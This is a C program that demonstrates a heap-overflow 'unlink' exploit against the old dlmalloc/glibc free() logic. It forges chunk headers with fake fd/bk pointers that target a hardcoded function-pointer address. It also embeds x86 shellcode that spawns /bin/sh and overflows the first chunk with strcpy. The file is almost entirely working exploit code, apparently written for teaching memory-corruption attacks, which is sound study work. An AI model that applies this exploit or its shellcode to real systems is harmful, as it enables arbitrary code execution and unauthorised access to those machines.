#include <stdlib.h>

#define FUNCTION_POINTER 0x08049958  
#define DUMMY 0x12345678
#define PREV_INUSE 0x00000001

char shellcode[] = 
       /* jump instruction -- jump 10 bytes */
       "\xeb\x0a"
       "0123456789"
       /* regular shell code */
       "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
       "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
       "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char **argv) {
  char *first, *second;
  char *p;
  char buf[681];

  first = (char*)malloc(666);
  second = (char*)malloc(12);

  printf("first=%x size=%x first->fd=%x first->bk=%x\n", 
    first, *(int*)(first-4), *(int*)first, *(int*)(first+4));
  printf("second=%x size=%x second->fd=%x second->bk=%x\n\n", 
    second, *(int*)(second-4), *(int*)second, *(int*)(second+4));
  

  p = buf;
  /* fd of the first chunk */
  *((void **)p) = (void *)(DUMMY);
  p += 4;
  /* bk of the first chunk */
  *((void **)p) = (void *)(DUMMY);
  p += 4;
  /* shellcode */
  memcpy(p, shellcode, strlen(shellcode));
  p += strlen(shellcode);
  /* padding */
  memset(p, 'B', (680 - 4*4) - (2*4 + strlen(shellcode)));
  p += (680 - 4*4) - (2*4 + strlen(shellcode));
  /* prev_size of the 2nd chunk */
  *((size_t *)p) = (size_t)(DUMMY & ~PREV_INUSE);
  p += 4;
  /* size of the 2nd chunk */
  *((size_t *)p) = -4;
  p += 4;
  /* fd of the 2nd chunk */
  *((void **)p) = (void *)(FUNCTION_POINTER - 12);
  p += 4;
  /* bk of the 2nd chunk */
  *((void **)p) = first + 8; 
  
  p += 4;
  /* the terminating NULL character */
  *p = '\0';


  strcpy(first, buf);

  printf("first=%x size=%x first->fd=%x first->bk=%x\n", 
    first, *(int*)(first-4), *(int*)first, *(int*)(first+4));
  printf("second=%x size=%x second->fd=%x second->bk=%x\n\n", 
    second, *(int*)(second-4), *(int*)second, *(int*)(second+4));

  printf("*FUNCTION_POINTER=%x\n", *(int*)(FUNCTION_POINTER));
  free(first);
  printf("*FUNCTION_POINTER=%x\n", *(int*)(FUNCTION_POINTER));
  free(second);

  return 0;
}
